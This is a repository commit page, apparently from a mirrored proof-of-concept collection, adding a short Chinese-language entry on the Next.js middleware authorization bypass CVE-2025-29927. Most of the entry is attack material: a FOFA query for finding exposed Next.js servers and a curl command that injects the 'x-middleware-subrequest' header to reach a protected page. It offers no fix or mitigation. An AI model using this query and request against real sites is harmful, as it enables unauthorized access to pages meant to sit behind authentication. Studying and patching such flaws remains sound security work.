admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-05-05 10:17:57 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update Next中间件绕过漏洞(CVE-2025-29927).md

Browse Source
This commit is contained in:
Rainyseason 2025-04-07 11:15:01 +08:00 committed by GitHub
parent 90049d1559
commit 8f38093dd0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 18 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
wpoc/Next/Next中间件绕过漏洞(CVE-2025-29927).md
View File

@ -1 +1,19 @@
# Next中间件绕过漏洞(CVE-2025-29927)
Next.js 是一个用于构建全栈 Web 应用程序的 React 框架。在受影响的版本中，如果 Next.js 应用程序正在基于路径名的中间件中执行授权，则可能会绕过应用程序根目录下的页面的此授权，允许未经授权访问Next.js应用程序中的根级页面，这些页面本应受到授权检查的保护
## fofa
```javascript
app="NEXT.JS"
```
## poc
```javascript
curl -H "x-middleware-subrequest: middleware" http://10.10.72.67:3000/protected
```
![image](https://github.com/user-attachments/assets/2a39fd91-6b65-496a-b274-fee70dd9ca95)
![image](https://github.com/user-attachments/assets/36efa98c-cb6c-4fbc-b8a4-d42565ad9f28)
## 漏洞来源
- [https://mp.weixin.qq.com/s/rPBKzvNI9wc79tDr2KC5sA](https://github.com/aydinnyunus/CVE-2025-29927)